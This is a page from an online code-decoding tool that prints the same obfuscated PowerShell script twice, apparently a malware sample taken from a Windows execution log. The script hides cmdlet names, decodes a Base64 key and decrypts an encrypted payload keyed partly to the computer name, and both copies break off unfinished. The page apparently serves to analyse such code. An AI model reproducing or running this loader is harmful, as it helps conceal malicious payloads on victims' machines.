Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
PowerShell_C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe_10.0.22621.1, Sha256:..
Decoded Output download
<? PowerShell_C:\WINDOWS\system32\WindowsPowerShell1.0\PowerShell.exe_10.0.22621.1, Sha256: $9bc0970a64c66dd2990fb15a22fb958bab172da0a002c589d5e0e90c63906359, Content: {SeT-varIaBLe 38KW9G ( [TYPE]("{0}{2}{1}"-F'Co','t','nveR')); sET-vaRIabLE vCQ19 ( [tYpe]("{9}{5}{0}{8}{1}{3}{4}{2}{7}{6}"-F'nTiM','.i','iCEs','N','TerOpServ','U','l','.MaRSHA','E','r') ); try {.("{2}{0}{1}" -f '-Vari','able','Set') -Value ( $38KW9g::("{0}{3}{2}{1}{4}" -f 'F','trin','S','romBase64','g').Invoke(("{9}{2}{8}{5}{1}{7}{4}{6}{3}{0}"-f 'ODUFRc=','XU','FR','ASqY+U+X','VK','bI7','kuqf','3tUio','E','y6QqpUmokc'))) -Name ('k')
&("{1}{2}{0}" -f'ble','Set-V','aria') -Name ('a') -Value ({param(${b});.("{3}{1}{0}{2}" -f 'l','et-Variab','e','S') -Value (.("{2}{1}{3}{0}{4}" -f'rtTo-','v','Con','e','SecureString') ${B} -asplaintext -force) -Name ('ss');&("{4}{5}{0}{6}{3}{1}{2}" -f 'vertFrom-','ure','String','ec','Co','n','S') ${Ss} -k ${K}})
&("{3}{1}{0}{2}"-f 'ria','a','ble','Set-V') -Value (("{24}{9}{29}{31}{35}{14}{33}{20}{7}{28}{30}{0}{1}{5}{8}{17}{19}{22}{15}{21}{23}{32}{25}{36}{6}{3}{27}{34}{13}{2}{18}{4}{16}{10}{26}{12}{11}"-f'zAGMAZgBhADcANQA4ADkAOAA4AGYAZQAyADUANAA1AGEANwA5ADEAOQBiAGQAMgA1AGIA','YgA2AGIAZgBiADQAMQA2ADIAMgBkAGQANQA0ADAAZQAxADcAYwAwADcA','AAYwAwADIANQAxAGMAMgBkADkANQA1ADgANwA2AGEAYQAxAGUAZgAwADMANQAzAGYAZABiADQANwA0AGIAM','ADAAYgA0AGIAMQBiAGEAMwA0ADgAMABlAGEAYQBkADQAYQAyA','IAMwA1ADcANAAxAGE','OQA5AGQAOAA2ADEANAA2ADUAOAAzADcANAA4','ADgAZgA2','NQAwADIAOABlADQANQAxADgAYQA2ADkAZQAyAGEAZA','ADUAMwBlADQAZQAzADAAYQA5AGIAZAA0ADkAYQBhADAAOQAzAGIAMgBkAGQAMA','13b16050a5345MgB8AFMAT','DYAYgAxADAANABjADcAYwBlAGIAYgA0AGUAOQBiADcANQA3ADEANgAxADQAZ','ADcAMgA3AGMAZAA2AA==','GUANQBiADIAOQA4ADEAZQBmAGYAYgA2ADgAYgBm','DgAYgBmAGYAYgBmAGYAMABjAD','ADIAYgA5AGEAOQA5AGYAOABmADQAMQA1ADcAMQBhADIANQA4ADQAYQA3AGEAMgAzADIAYwBkA','UAZABmAGEAYgBlADUAZQAzAGUAMQAyAG','AMABhA','A2ADAAMQA3','AA3AGIAZABkAGEANgBkAGYANAA2AD','ADQAMgBjAGYAMwAyADQAYgA4ADAAYwBiADQAMwBmADAAYgA0ADAAYQ','ADYANgA5ADIANwBkADAAOABlAGQAZAA2ADkAMgBlAGMAYQA2ADEA','IAOQA5ADgAMQBlADUAMAAyADkAYQAyAGQAMQBkADQAMQBjADkAYwAzAGEANQA0AGEA','A3AG','OQA1ADgANwA2ADM','76492d1116743f04234','UAYgAxADkAZAA4ADM','gBmA','DkANwBmAGYAZgA1ADcAMQBjADAANgAyA','AzADAAMQBiADIAOQ','wBOAFYAd','A4ADIANgA5ADMAZAA4ADgAMQA','QBpAGoARABCAEEAegB5AFIAcwBjAE4AZABDAFU','ANAA5ADAAMQA5AGUAZAAwAG','DEANgAwAGEAOABkADgANABj','DUAMgBjADUAZgA5ADAAOABlA','AMAA5AFEAPQA9AHwAMQBhADcAZgA5ADcANABl','AYgAyADQAMQAwADUAYgAy'),("{35}{73}{60}{68}{10}{19}{62}{51}{21}{45}{82}{94}{64}{74}{30}{28}{84}{59}{54}{3}{2}{18}{75}{39}{89}{90}{70}{50}{96}{55}{87}{43}{32}{0}{103}{83}{24}{33}{104}{69}{38}{25}{15}{76}{93}{86}{78}{31}{56}{6}{92}{66}{23}{1}{46}{12}{48}{72}{44}{102}{13}{41}{57}{88}{63}{67}{37}{52}{9}{80}{7}{5}{16}{22}{11}{34}{29}{98}{101}{100}{65}{42}{95}{79}{91}{71}{49}{4}{27}{40}{99}{81}{36}{53}{8}{97}{20}{26}{58}{14}{85}{17}{61}{77}{47}" -f'w','AMA','YAGk','QB','AG','g','A','M','A2ADUAM','A','116','GMA','A','UAMQA','AD','gA1ADcAN','A2AGYAN','AOQAy','AQw','743f','A4','1','gBhA','ADc','A','AM','ADQAM','QAM','8AGg','GI','MgB','DYA','A5AGgAL','9AHw','NAAzA','76','BjAD','D','ADI','cAc','wBkAD','xADgANABmAGEAYwAy','MAA4ADQAYg','FMAeg','A4AD','6','BmADk','A','Z','QA2','G','13b','UAYwBh','cAYQ','WAFIAY','AV','M','AD','wAw','B','d','AG','04234','Aw','0a','MA','3','A','1','YQBm','hA','EAM','Q','492','5345','BQAE','wBmAG','M','A','mADQAYQBlAD','DcA','AZA','0','3AHcAPQ','AUg','E','AZQA5','QB0A','MAOA','w','B','EAYwBlAD','A','Y','5','B','0','AA3AGYAYgAyADEAZgBmADIAYw','A','Y','kAGIAMQA2AG','MwB','YAMQAwAD','A','A'), $(&${A} (${EnV:c`om`P`UtErnamE})),("{6}{16}{18}{3}{8}{27}{17}{10}{14}{1}{28}{25}{20}{9}{11}{30}{4}{2}{29}{21}{24}{31}{5}{0}{23}{12}{22}{26}{7}{19}{15}{13}" -f'gAx','A','A','0423413b16050a5','A9AHw','xADAAM','7649','GQAZABkADYAOA','345MgB8ADQ','HgAbABUADg','kAZgB6','ARABK','jAD','ADUANgA2AA==','AFMAZ','AMgA0','2d111','AH','6743f','AzAGU','gBUA','ADYANQAzA','Y','ADcAYwAzADQAYQB','DQAN','N','AMwAzA','AYwBD','BaAE8ANgA2AGwA','OQBk','AGcAPQ','QA'),[char]0) -Name ("{1}{0}{2}" -f 'a','v','lues')
&("{3}{1}{2}{0}"-f'iable','et-','Var','S') -Name ('b') -Value ({param(${A});&("{2}{0}{1}"-f'-V','ariable','Set') -Name ('ss') -Value (&("{0}{1}{3}{2}{4}" -f 'Co','nvert','e','To-Secur','String') ${a} -k ${K});&("{0}{1}{2 ?>
Did this file decode correctly?
Original Code
PowerShell_C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe_10.0.22621.1, Sha256: $9bc0970a64c66dd2990fb15a22fb958bab172da0a002c589d5e0e90c63906359, Content: {SeT-varIaBLe 38KW9G ( [TYPE]("{0}{2}{1}"-F'Co','t','nveR')); sET-vaRIabLE vCQ19 ( [tYpe]("{9}{5}{0}{8}{1}{3}{4}{2}{7}{6}"-F'nTiM','.i','iCEs','N','TerOpServ','U','l','.MaRSHA','E','r') ); try {.("{2}{0}{1}" -f '-Vari','able','Set') -Value ( $38KW9g::("{0}{3}{2}{1}{4}" -f 'F','trin','S','romBase64','g').Invoke(("{9}{2}{8}{5}{1}{7}{4}{6}{3}{0}"-f 'ODUFRc=','XU','FR','ASqY+U+X','VK','bI7','kuqf','3tUio','E','y6QqpUmokc'))) -Name ('k')
&("{1}{2}{0}" -f'ble','Set-V','aria') -Name ('a') -Value ({param(${b});.("{3}{1}{0}{2}" -f 'l','et-Variab','e','S') -Value (.("{2}{1}{3}{0}{4}" -f'rtTo-','v','Con','e','SecureString') ${B} -asplaintext -force) -Name ('ss');&("{4}{5}{0}{6}{3}{1}{2}" -f 'vertFrom-','ure','String','ec','Co','n','S') ${Ss} -k ${K}})
&("{3}{1}{0}{2}"-f 'ria','a','ble','Set-V') -Value (("{24}{9}{29}{31}{35}{14}{33}{20}{7}{28}{30}{0}{1}{5}{8}{17}{19}{22}{15}{21}{23}{32}{25}{36}{6}{3}{27}{34}{13}{2}{18}{4}{16}{10}{26}{12}{11}"-f'zAGMAZgBhADcANQA4ADkAOAA4AGYAZQAyADUANAA1AGEANwA5ADEAOQBiAGQAMgA1AGIA','YgA2AGIAZgBiADQAMQA2ADIAMgBkAGQANQA0ADAAZQAxADcAYwAwADcA','AAYwAwADIANQAxAGMAMgBkADkANQA1ADgANwA2AGEAYQAxAGUAZgAwADMANQAzAGYAZABiADQANwA0AGIAM','ADAAYgA0AGIAMQBiAGEAMwA0ADgAMABlAGEAYQBkADQAYQAyA','IAMwA1ADcANAAxAGE','OQA5AGQAOAA2ADEANAA2ADUAOAAzADcANAA4','ADgAZgA2','NQAwADIAOABlADQANQAxADgAYQA2ADkAZQAyAGEAZA','ADUAMwBlADQAZQAzADAAYQA5AGIAZAA0ADkAYQBhADAAOQAzAGIAMgBkAGQAMA','13b16050a5345MgB8AFMAT','DYAYgAxADAANABjADcAYwBlAGIAYgA0AGUAOQBiADcANQA3ADEANgAxADQAZ','ADcAMgA3AGMAZAA2AA==','GUANQBiADIAOQA4ADEAZQBmAGYAYgA2ADgAYgBm','DgAYgBmAGYAYgBmAGYAMABjAD','ADIAYgA5AGEAOQA5AGYAOABmADQAMQA1ADcAMQBhADIANQA4ADQAYQA3AGEAMgAzADIAYwBkA','UAZABmAGEAYgBlADUAZQAzAGUAMQAyAG','AMABhA','A2ADAAMQA3','AA3AGIAZABkAGEANgBkAGYANAA2AD','ADQAMgBjAGYAMwAyADQAYgA4ADAAYwBiADQAMwBmADAAYgA0ADAAYQ','ADYANgA5ADIANwBkADAAOABlAGQAZAA2ADkAMgBlAGMAYQA2ADEA','IAOQA5ADgAMQBlADUAMAAyADkAYQAyAGQAMQBkADQAMQBjADkAYwAzAGEANQA0AGEA','A3AG','OQA1ADgANwA2ADM','76492d1116743f04234','UAYgAxADkAZAA4ADM','gBmA','DkANwBmAGYAZgA1ADcAMQBjADAANgAyA','AzADAAMQBiADIAOQ','wBOAFYAd','A4ADIANgA5ADMAZAA4ADgAMQA','QBpAGoARABCAEEAegB5AFIAcwBjAE4AZABDAFU','ANAA5ADAAMQA5AGUAZAAwAG','DEANgAwAGEAOABkADgANABj','DUAMgBjADUAZgA5ADAAOABlA','AMAA5AFEAPQA9AHwAMQBhADcAZgA5ADcANABl','AYgAyADQAMQAwADUAYgAy'),("{35}{73}{60}{68}{10}{19}{62}{51}{21}{45}{82}{94}{64}{74}{30}{28}{84}{59}{54}{3}{2}{18}{75}{39}{89}{90}{70}{50}{96}{55}{87}{43}{32}{0}{103}{83}{24}{33}{104}{69}{38}{25}{15}{76}{93}{86}{78}{31}{56}{6}{92}{66}{23}{1}{46}{12}{48}{72}{44}{102}{13}{41}{57}{88}{63}{67}{37}{52}{9}{80}{7}{5}{16}{22}{11}{34}{29}{98}{101}{100}{65}{42}{95}{79}{91}{71}{49}{4}{27}{40}{99}{81}{36}{53}{8}{97}{20}{26}{58}{14}{85}{17}{61}{77}{47}" -f'w','AMA','YAGk','QB','AG','g','A','M','A2ADUAM','A','116','GMA','A','UAMQA','AD','gA1ADcAN','A2AGYAN','AOQAy','AQw','743f','A4','1','gBhA','ADc','A','AM','ADQAM','QAM','8AGg','GI','MgB','DYA','A5AGgAL','9AHw','NAAzA','76','BjAD','D','ADI','cAc','wBkAD','xADgANABmAGEAYwAy','MAA4ADQAYg','FMAeg','A4AD','6','BmADk','A','Z','QA2','G','13b','UAYwBh','cAYQ','WAFIAY','AV','M','AD','wAw','B','d','AG','04234','Aw','0a','MA','3','A','1','YQBm','hA','EAM','Q','492','5345','BQAE','wBmAG','M','A','mADQAYQBlAD','DcA','AZA','0','3AHcAPQ','AUg','E','AZQA5','QB0A','MAOA','w','B','EAYwBlAD','A','Y','5','B','0','AA3AGYAYgAyADEAZgBmADIAYw','A','Y','kAGIAMQA2AG','MwB','YAMQAwAD','A','A'), $(&${A} (${EnV:c`om`P`UtErnamE})),("{6}{16}{18}{3}{8}{27}{17}{10}{14}{1}{28}{25}{20}{9}{11}{30}{4}{2}{29}{21}{24}{31}{5}{0}{23}{12}{22}{26}{7}{19}{15}{13}" -f'gAx','A','A','0423413b16050a5','A9AHw','xADAAM','7649','GQAZABkADYAOA','345MgB8ADQ','HgAbABUADg','kAZgB6','ARABK','jAD','ADUANgA2AA==','AFMAZ','AMgA0','2d111','AH','6743f','AzAGU','gBUA','ADYANQAzA','Y','ADcAYwAzADQAYQB','DQAN','N','AMwAzA','AYwBD','BaAE8ANgA2AGwA','OQBk','AGcAPQ','QA'),[char]0) -Name ("{1}{0}{2}" -f 'a','v','lues')
&("{3}{1}{2}{0}"-f'iable','et-','Var','S') -Name ('b') -Value ({param(${A});&("{2}{0}{1}"-f'-V','ariable','Set') -Name ('ss') -Value (&("{0}{1}{3}{2}{4}" -f 'Co','nvert','e','To-Secur','String') ${a} -k ${K});&("{0}{1}{2
Function Calls
None |
Stats
MD5 | 295a08f03fef590991dda289e4a46a84 |
Eval Count | 0 |
Decode Time | 40 ms |